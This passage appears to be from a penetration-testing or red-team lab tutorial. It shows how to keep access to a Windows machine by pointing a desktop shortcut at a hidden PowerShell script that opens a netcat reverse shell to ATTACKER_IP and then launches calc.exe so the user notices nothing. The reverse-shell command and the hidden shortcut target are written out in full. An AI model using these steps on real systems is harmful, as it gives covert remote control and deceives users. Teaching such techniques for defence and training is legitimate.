If we don't want to alter the executable, we can always tamper with the shortcut file itself. Instead of pointing directly to the expected executable, we can change it to point to a script that will run a backdoor and then execute the usual program normally.

For this task, let's check the shortcut to calc on the Administrator's desktop. If we right-click it and go to properties, we'll see where it is pointing:

Before hijacking the shortcut's target, let's create a simple Powershell script in C:\Windows\System32 or any other sneaky location. The script will execute a reverse shell and then run calc.exe from the original location on the shortcut's properties:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe

Finally, we'll change the shortcut to point to our script. Notice that the shortcut's icon might be automatically adjusted while doing so. Be sure to point the icon back to the original executable so that no visible changes appear to the user. We also want to run our script on a hidden window, for which we'll add the -windowstyle hidden option to Powershell. The final target of the shortcut would be:

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1